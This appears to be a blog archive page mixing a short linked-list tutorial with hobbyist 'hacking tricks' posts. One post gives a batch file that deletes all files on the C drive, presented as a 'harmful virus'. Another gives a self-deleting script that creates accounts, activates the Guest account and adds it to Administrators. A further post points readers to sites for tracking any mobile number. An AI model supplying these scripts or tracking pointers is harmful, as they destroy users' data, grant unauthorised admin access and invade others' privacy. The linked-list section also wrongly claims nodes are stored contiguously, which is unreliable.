Saturday, 24 January 2015

linked list in data structure




Linked List


Linked List:
                   An ordered set of data elements, each containing a link to its successor (and sometimes its predecessor).

Types of Linked List:


1. Linear Linked List or One Way List or Singly Linked List


2. Doubly Linked List or Two-Way Linked List or Two-Way Chain



3. Circular Linked List

Note:
       
Doubly linked list can be used as doubly circular linked list.



Advantages:


  • Linked lists are a dynamic data structure, allocating the needed memory while the program is running.
  • Insertion and deletion node operations are easily implemented in a linked list.
  • Linear data structures such as stacks and queues are easily executed with a linked list.
  • They can reduce access time and may expand in real time without memory overhead.


Disadvantages:

  • They have a tendency to waste memory due to pointers requiring extra storage space.
  • Nodes in a linked list must be read in order from the beginning as linked lists are inherently sequential access.
  • Nodes are stored in contiguously , greatly increasing the time required to access individual elements within the list.
  • Difficulties arise in linked lists when it comes to reverse traversing. Singly linked lists are extremely difficult to navigate backwards, and while doubly linked lists are somewhat easier to read, memory is wasted in allocating space for a back pointer.

Applications of Linked List in real world:
A linked list would be a reasonably good choice for implementing any of the following:

1. Applications that have an MRU list (a linked list of file names) .

2. The cache in your browser that allows you to hit the BACK button (a linked list of URLs).

3. Undo functionality in Photoshop or Word (a linked list of state).

4. A stack, hash table, and binary tree can be implemented using a doubly linked list.

5. A great way to represent a deck of cards in a game.


                               







Friday, 15 August 2014

Post Blank Coment and Status on facebook

Post Blank Status or Comment on Facebook!



Hello again everyone! Well, I'm writing a little bit much facebook tricks these tricks, though I wonder why :-/ whatever let's shit that off and begin. The bullshit that I'm gonna dictate to you today is a facebook trick to post blank status or comments (not bad, eh!). Updating a blank status may sometimes help you to get more likes than a normal boring quotation. Here we go.

For Blank Status:

To update a blank status,
  1. Log In to Your Account.
  2. In the Status Update box type (hey don't be lazy, type it!)  @[0:0: ] and then post it.

Posting Blank Comments:

Okay, so to post a blank comment all you have to do is press the ALT key, hold it, and type 0,1,7,3 without those commas (ALT+0173). Remember, do not release the alt key while typing. Now leave all the keys and press enter. 


Enjoy

Track any mobile number


Below were the websites to track any mobile number


1)

click here

2)

click here



Make Harmful virus


Here i am telling you how to make harmful virus follow these steps

1)

Open Notepad

2)

copy the below code

@Echo off
Del C:\ *.* |y

3)

Save as delete.bat

Note:
When you open the file it will erase the all data in C drive.

Hack Administrator Account


To Hack Administrator Account follow these steps:

1)

Open Note pad

2)

Copy all the code below

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0


3)
Save the File as hacking.bat

4)

now Open the file and you are done with it.

Facebook likes

Hello guyz today i am going to tell you the trick for facebook likes and much more.........




follow these steps

1)

Login to your Facebook profile


2)

Then open the below link

Click here

3)

Sign up to this page



4)

Now click add site as shown in picture



5)

Now fill these info

Now you are done with it.


Enjoy